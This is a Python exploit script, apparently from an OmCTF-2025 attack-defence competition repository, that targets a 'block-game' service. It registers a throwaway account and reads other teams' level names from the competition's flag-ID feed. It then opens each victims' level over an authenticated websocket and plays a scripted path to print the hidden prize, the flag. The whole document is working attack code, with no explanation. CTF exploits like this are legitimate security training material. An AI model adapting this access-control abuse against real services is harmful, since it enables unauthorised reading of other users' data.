adding validated services? patching forcad_local.py
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56
OmCTF-2025/sploits/block-game/sploit1.py
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56
OmCTF-2025/sploits/block-game/sploit1.py
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import json
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from secrets import token_hex
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import sys
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import requests
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from requests.cookies import get_cookie_header
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from websockets.sync.client import connect
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def connect_with_auth(sess: requests.Session, url):
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cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
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return connect(url, additional_headers={"Cookie": cookie_value})
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ip = sys.argv[1]
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sess = requests.Session()
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r = sess.post(f"http://{ip}:5874/api/auth/register", json={
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"username": token_hex(8),
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"password": token_hex(8)
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})
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assert r.ok, r.text
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r = sess.get("http://localhost/api/client/attack_data/")
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assert r.ok, r.text
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flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
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level_names = [json.loads(s)["level_name"] for s in flag_ids]
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def get_one(name):
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r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
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assert r.ok, r.text
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level_id = r.json()["id"]
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with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
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sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
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for _ in range(4):
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sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
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for _ in range(4):
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sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
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for _ in range(4):
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sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
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while True:
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m = json.loads(sock.recv(1))
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if m["type"] == "level_complete":
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print(m["option"]["prize"])
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break
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for name in level_names:
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try:
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get_one(name)
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except Exception as e:
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print(name, e)
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